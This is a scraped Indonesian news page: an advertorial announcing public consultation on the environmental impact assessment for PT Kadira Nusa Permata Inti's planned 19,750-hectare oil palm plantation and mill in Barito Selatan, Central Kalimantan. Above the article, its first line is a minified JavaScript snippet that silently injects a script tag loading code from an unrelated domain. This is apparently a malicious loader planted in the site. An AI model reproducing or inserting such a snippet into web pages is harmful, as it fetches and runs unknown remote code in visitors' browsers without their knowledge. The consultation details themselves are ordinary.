(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Dalam proses pengajuan Analisis Mengenai Dampak Lingkungan Hidup (AMDAL), PT Kadira Nusa Permata Inti mengajukan upaya uji publik bagi warga terdampak rencana perkebunan kelapa sawit, dangan luasan 19.750 hektare di Kecamatan Jenamas dan Kecamatan Dusun Hilir, membangun dan mengoperasionalkan pabrik pengolahan kelapa sawit berkapasitas 90 Ton TBS/jam di Desa Tambatan, Kecamatan Jenamas, Kabupaten Barito Selatan, Provinsi Kalimanten Tengah.
Berdasarkan pada Undang-Undang RI Cipta Kerja No.11 Tahun 2020 Tentang Cipta Kerja Pasal 26, Hal.80 (2. Penyusunan dokumen Amdal dilakukan dengan melibatkan masyarakat yang terkena dampak langsung terhadap rencana usaha dan/atau kegiatan) dan Peraturan Pemerintah RI No. 22 Tahun 2021 Tentang Penyelenggaraan Perlindungan dan Pengelolaan Lingkungan Hidup yang menjelaskan Proses Analisis Mengenai Dampak Lingkungan Hidup (AMDAL) sampai kepada Perizinan Berusaha serta Peraturan Menteri Negara Lingkungan Hidup dan Kehutanan No. 04 Tahun 2021 Tentang Daftar Usaha Dan/Atau Kegiatan Yang Wajib Memiliki Analisis Mengenai Dampak Lingkungan Hidup.
Maka diberikan kesempatan kepada masyarakat yang terkena dampak, para pemerhati lingkungan, dan masyarakat yang terpengaruh atas segala keputusan dalam proses AMDAL untuk dapat menyampaikan saran, pendapat dan tanggapan (SPT) sebagai bahan kajian dalam proses penyusunan dokumen AMDAL.
Baca juga : Hukum Vaksinasi saat Berpuasa, Begini Penjelasan Kepala Kemenag Banjarbaru
Batas waktu penyampaian saran, pendapat dan tanggapan adalah 10 hari kerja terhitung sejak pengumuman diterbitkan. Saran, pendapat dan tanggapan dapat disampaikan kepada :
Dinas Lingkungan Hidup Kabupaten Barito Selatan,
Jalan Bandara Sanggu, Kecamatan Dusun Selatan, Buntok, Barito Selatan, Kalimantan Tengah.
PT Kadira Nusa Permata Inti, Jalan Simpang Sei Mesa No 152 RT 013 Kelurahan Seberang Mesjid, Kecamatan Banjarmasin Tengah, (Kantor Pusat) Kota Banjarmasin, Kalimantan Selatan 70231.Telp. 0511-3273325 Jl. Pakusalam, Desa Danau Sadar, Kecamatan Dusun Selatan. (Kantor Cabang) Buntok, Kabupaten Barito Selatan, Kalimantan Tengah 73751. (Kanalkalimantan.com/adv)
Reporter : adv
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
This website uses cookies.